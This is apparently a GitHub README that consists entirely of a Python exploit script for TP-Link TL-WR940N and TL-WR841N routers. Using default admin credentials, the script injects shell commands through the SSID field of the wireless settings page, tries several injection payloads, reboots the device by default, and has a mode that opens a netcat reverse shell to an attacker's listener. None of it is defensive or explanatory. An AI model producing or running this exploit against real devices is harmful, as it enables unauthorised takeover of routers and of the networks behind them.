README.md
Rendering markdown...
import requests
import argparse
import base64
import urllib
import time
class TPExploit:
def __init__(self, target, username, password, lhost=None, lport=None):
self.target = target
self.auth = f"{username}:{password}"
self.auth_header = f"Basic {base64.b64encode(self.auth.encode()).decode()}"
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0',
'Authorization': self.auth_header,
'Referer': f'http://{self.target}/userRpm/WlanNetworkRpm.htm'
})
self.lhost = lhost
self.lport = lport
def get_random_path(self):
"""Try to get the random path used in newer firmware"""
try:
r = self.session.get(f"http://{self.target}/")
if r.status_code == 200 and 'href="' in r.text:
for line in r.text.split('\n'):
if 'href="' in line and 'userRpm' in line:
path = line.split('href="')[1].split('/userRpm')[0]
return path
except:
pass
return None
def test_vulnerability(self, command="reboot"):
"""Test if the router is vulnerable"""
paths_to_try = [""]
random_path = self.get_random_path()
if random_path:
paths_to_try.append(random_path)
payloads = [
f"TP-LINK_000012||{command}",
f";{command};",
f"a;{command}",
f"a;{command};"
]
for path in paths_to_try:
for payload in payloads:
try:
url = f"http://{self.target}/{path}/userRpm/WlanNetworkRpm.htm"
params = {
'ssid1': payload,
'ssid2': 'test',
'ssid3': 'test',
'ssid4': 'test',
'Save': 'Save'
}
r = self.session.get(url, params=params, timeout=5)
if r.status_code == 200:
print(f"[+] Possible success with payload: {payload}")
return True
except requests.exceptions.RequestException:
print(f"[+] Router may have executed command: {payload}")
return True
return False
def get_shell(self):
"""Attempt to get a reverse shell"""
if not self.lhost or not self.lport:
print("[-] LHOST and LPORT required for reverse shell")
return
# Simple netcat reverse shell (may need to adjust based on router's available commands)
reverse_shell_cmd = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {self.lhost} {self.lport} >/tmp/f"
# URL encode the command
encoded_cmd = urllib.parse.quote(reverse_shell_cmd)
payload = f"a;{encoded_cmd};"
print(f"[*] Trying to execute reverse shell to {self.lhost}:{self.lport}")
try:
path = self.get_random_path() or ""
url = f"http://{self.target}/{path}/userRpm/WlanNetworkRpm.htm"
params = {
'ssid1': payload,
'Save': 'Save'
}
# Don't wait for response since we're establishing a connection
self.session.get(url, params=params, timeout=1)
except:
pass
print("[*] Check your listener for a connection")
def main():
parser = argparse.ArgumentParser(description="TP-Link TL-WR940N/TL-WR841N Exploit")
parser.add_argument("-t", "--target", required=True, help="Target IP address")
parser.add_argument("-u", "--username", default="admin", help="Router username")
parser.add_argument("-p", "--password", default="admin", help="Router password")
parser.add_argument("-c", "--command", help="Command to execute")
parser.add_argument("--lhost", help="Listener IP for reverse shell")
parser.add_argument("--lport", type=int, help="Listener port for reverse shell")
args = parser.parse_args()
exploit = TPExploit(args.target, args.username, args.password, args.lhost, args.lport)
if args.command:
print(f"[*] Executing command: {args.command}")
exploit.test_vulnerability(args.command)
elif args.lhost and args.lport:
exploit.get_shell()
else:
print("[*] Testing for vulnerability (default command: reboot)")
if exploit.test_vulnerability():
print("[!] Router is vulnerable!")
else:
print("[-] Router does not appear to be vulnerable")
if __name__ == "__main__":
main()